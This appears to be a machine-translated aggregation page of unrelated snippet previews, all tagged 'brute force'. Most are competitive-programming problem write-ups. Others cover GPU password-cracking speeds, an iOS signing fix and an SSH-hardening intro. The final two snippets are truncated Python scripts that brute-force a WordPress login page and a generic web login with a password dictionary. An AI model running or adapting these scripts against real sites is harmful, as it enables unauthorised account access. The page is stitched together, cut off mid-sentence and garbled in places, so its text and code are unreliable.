brute force prevention

Reprinted from: http://www.cnbeta.com/articles/145526.htm This is an interesting little tool that allows you to use GPU to brute force password cracking, from the description in the news, radeon5770 operations per second for HD 3.3 billionRadeon HD 5770 can crack a five-digit password "fjr8n" in one second "...... If you have four HD 5970 images, the cracking speed will reach 33.1 billion times per second,

General brute force solution of invalid code signing entitlement, signingentitlement 1. After an Apple device is added as a development device, enter the version, saying that the profile is not found and an error is returned. 2. Upload the binary file to itunes connect. An error is returned. 3. Sometimes the appID is invalid and an error is reported. Bored him. My solution, copy a file package firs

Ultraviolet A 639 Don't Get Rooked (brute force backtracking), 639 rookedUltraviolet A 639 Don't Get Rooked In chess, the rook is a piece that can move any number of squares vertically or horizontally. in this problem we will consider small chess boards (at most 44) that can also contain Wils through which rooks cannot move. the goal is to place as your rooks on a board as possible so that no two can cap

Poj 2907 Collecting Beepers postman brute force solution, pojbeepers Question: For the start point and n points, calculate the minimum short circuit from the start point to the start point after each point of the n points at least once. Analysis: Similar to the Postman Problem, STL enumeration is directly used to solve the access sequence violence. Code: // Poj 2907 // sep9 # include

HDOJ 5128 The E-pang Palace brute force enumeration + computational ry, hdoje-pang Enumerate every rectangle and determine the intersection If it is a font, the area of the large rectangle will be output .......... The E-pang Palace Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 512000/512000 K (Java/Others)Total Submission (s): 73 Accepted Submission (s): 26 Problem DescriptionE-pang Palace was bui

Blue Bridge cup basic exercise 01 string [brute force solution], Blue Bridge string Basic exercise 01 string time limit: 1.0 s memory limit: 256.0 MB Problem description For a 01 string with a length of 5 digits, each digit may be 0 or 1, a total of 32 possibilities. The first few of them are: 00000 00001 00010 00011 00100 Output these 32 01 strings in ascending order.The input format is not entered. The

Zoj 3817 Chinese Knot (hash + brute force), zoj3817 Link: zoj 3817 Chinese Knot The four strings correspond to the four sides of the concentric knot. Now, if a target string is given, it can be moved from any node and asked if it can match the target string. Solution: use hash to process the forward and backward orders of the four strings, and then use dfs enumeration to retain the start position and move t

HDU1431 prime number (brute force ], Prime return Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total Submission (s): 10762 Accepted Submission (s): 2498 Problem Descriptionxiaoou33 is particularly interested in numbers that are both prime numbers and return objects. For example, 151 is both a prime number and a background. Xiaoou333 wants you to help him find the prime n

Link: HDU 2932 extraordinarily tired students Question: Give the status of N students (A, B, C ). A indicates that a minute is awake, B indicates that B minutes are asleep, and C indicates that the beginning is the c minute of the recurrence (a + B) Minute. Wait a few minutes until all the students go to bed. Before going to bed, each student needs to check whether the number of Students Sleeping (including himself) is larger than the number of awake students. If they do, they will not go to b

Overview:Nowadays, the Internet is very insecure. Many people use some scanners to scan the ssh port and try to connect to the SSH port for brute force cracking. Therefore, we recommend that you use the VPs host space, set a complex SSH logon password as much as possible. For details about how to configure Secure SSH services, refer to the article "Configure Secure SSH service on a VPs host". How can I prev

The question is very understandable. The idea of brute force is to select the smallest among the known ugly numbers, save them, and multiply them by 2, 3, 5, and 7 to save them. Here, pay attention to deduplication. I have to say that the English output is very poor. The Code is as follows: #include Another idea is the idea of dynamic planning, which is also known after reading the code of Daniel. Define

Label: style blog HTTP Io OS AR for SPQuestion connection: answer questions Http://acm.hdu.edu.cn/showproblem.php? PID = 1, 1427 Train of Thought: simple DFS, DFS (sum, next, p) indicates that the calculated value is sum, the calculated value in parentheses is next, and the currently used card subscript is P, in fact, we divide the two values out of and in brackets into sum and next for processing. Intuition tells us that the four numbers only need one layer of parentheses to participate in the

Address: HDU 4971 During the competition, the maximum privilege was not closed. At that time, I also discussed the cost stream and DP with my teammates for a long time .. Now it seems to be the biggest right to close the water question... Idea of creating a graph: the source node connects to the project, the weight is the profit, the sink node connects to the technology project, the weight is the cost, and then the dependent connection has a directed edge. Using the positive weight and minus the

Question: n (n Question link: http://acm.hdu.edu.cn/showproblem.php? PID = 1, 4971 --> The project must solve the corresponding technical problems, and there are dependencies between the technical problems, corresponding to the closed diagram, and the maximum benefit corresponds to the maximum right .. As a result, the largest right closed chart, the smallest cut, and the largest stream playing .. Graph creation: 1) Super source S = N + M, super sink t = n + m + 1 2) for each project

Algorithm:Bruteforcestringmatch (T [0 .. n-1], p [0 .. M-1])// This algorithm implements brute force string matching.// Input: the array T [0 .. n-1] of N fields represents a text// An array of M fields P [0 .. M-1] represents a pattern// Output. If the query is successful, the first position of the text string that matches the first character is returned. Otherwise,-1 is returned.For I J While j J If J = m

HDU 4902 line segment tree | Brute Force Given a sequence, two operations 1: convert a segment to x. 2: convert each number in a segment into The gcd of the segment and x if it is greater than x. After the change, the final sequence is obtained. Line Segment tree solution: use lazy to mark it. The optimization method is clever, Accepted 4902 515 MS 3308 K 1941 B C ++ # In

Sha 11210 Chinese Mahjong (brute force enumeration)Sha 11210 Chinese Mahjong Mahjong () is a game of Chinese Z? Http://www.bkjia.com/kf/ware/vc/ "target =" _ blank "class =" keylink "> keys + CjxwPjxzdHJvbmc + keys =" re represented by 1 T, 2 T, 3 T, 4 T, 5 T, 6 T, 7 T, 8 T and 9 T. Bams:Named as each tile (could t the 1 Bamboo) consists of a number of bamboo sticks. each stick is said to represent a str

Hdu5143 brute force Enumeration Http://acm.hdu.edu.cn/showproblem.php? Pid = 1, 5143 Problem descriptionpth is learning progress sion ssion in his math class. In mathematics, an arithmetic progression (AP) is a sequence of numbers such that the difference between the consecutive terms is constant) He thinks it's easy to understand, and he found a challenging problem from his talented math teacher: You're gi

#! /Usr/bin/env python # Coding = UTF-8 # wordpress background brute force cracking (python) # python wordpress_bruteforce.py http://xxxx.com/wp-login.php Xxxx dic.txt import urllib, time, sys start = time. time () errors = [] def exploit (url, name, dictionary): for line in open (dictionary): lineline = line. strip () try: data = urllib. urlencode ({'log': name, 'pwd': line, 'redirect _ to': ''}) content =

According to the dictionary file, using Python for Brute force, the program is simple Note: For cases with no verification code Instance code: #encoding =utf-8import httplib,urllibconn = httplib. Httpconnection ("www.xxx.cn") F=open ("Dict.txt") while 1: pwd=f.readline (). Strip () if not pwd: print ' The dictionary has been compared to the end. ' break params = Urllib.urlencode (